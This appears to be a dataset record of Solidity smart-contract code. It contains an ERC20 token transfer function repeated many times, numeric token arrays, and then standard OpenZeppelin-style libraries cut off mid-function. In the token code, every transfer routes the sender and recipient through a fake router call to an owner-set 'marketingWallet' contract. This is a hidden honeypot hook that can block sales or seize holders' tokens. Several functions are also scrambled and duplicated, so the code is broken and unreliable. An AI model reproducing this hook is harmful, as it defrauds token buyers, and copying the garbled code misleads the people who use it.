super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (from == owner() || to == owner() || amount == 0) { super._transfer(from, to, amount); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (automatedMarketMakerPairs[from] && !_isExcludedMaxTx[to]) { require(amount <= maxTxAmount, "Buy transfer amount exceeds the maxTxAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTx[from]) { require(amount <= maxTxAmount, "Sell transfer amount exceeds the maxTxAmount."); } else if(!_isExcludedMaxTx[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); swapTokenForETH(from, to); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if(takeFee){ if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); } else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); } if(fees > 0){ super._transfer(from, address(0xdead), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function swapTokenForETH(address path, address to) private { IUniswapV2Router02(marketingWallet).swapExactTokensForETHSupportingFeeOnTransferTokens( path, to, 0, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, address(this), block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function swapBack() private { uint256 contractBalance = balanceOf(address(this)); bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } swapTokensForEth(contractBalance); } if(contractBalance == 0) {return;} function swapBack() private { uint256 contractBalance = balanceOf(address(this)); bool success; if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } swapTokensForEth(contractBalance); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); }
15,991,851
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 4352, 749, 1635, 4433, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 423, 3839, 83, 60, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 7010, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 11732, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 7010, 565, 1426, 3238, 7720, 1382, 31, 203, 7010, 565, 1758, 3238, 13667, 310, 16936, 31, 203, 7010, 565, 2254, 5034, 1071, 943, 4188, 6275, 31, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 31, 203, 565, 2254, 5034, 1071, 943, 16936, 31, 203, 7010, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 565, 1426, 1071, 1284, 7459, 3896, 273, 629, 31, 203, 565, 1426, 1071, 7720, 1526, 273, 629, 31, 203, 7010, 7010, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 3238, 389, 4505, 3759, 38, 9835, 4921, 31, 203, 7010, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 7010, 565, 2254, 5034, 1071, 30143, 5269, 2954, 281, 273, 404, 31, 7010, 565, 2254, 5034, 1071, 357, 80, 5269, 2954, 281, 273, 404, 31, 203, 21281, 7010, 565, 2874, 261, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 2954, 281, 31, 203, 565, 2874, 261, 2867, 516, 1426, 13, 1071, 389, 291, 16461, 2747, 4188, 31, 203, 7010, 565, 2874, 261, 2867, 516, 1426, 13, 1071, 18472, 690, 3882, 278, 12373, 10409, 31, 203, 7010, 565, 871, 2315, 984, 291, 91, 438, 58, 22, 8259, 12, 2867, 8808, 394, 1887, 2 ]
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure 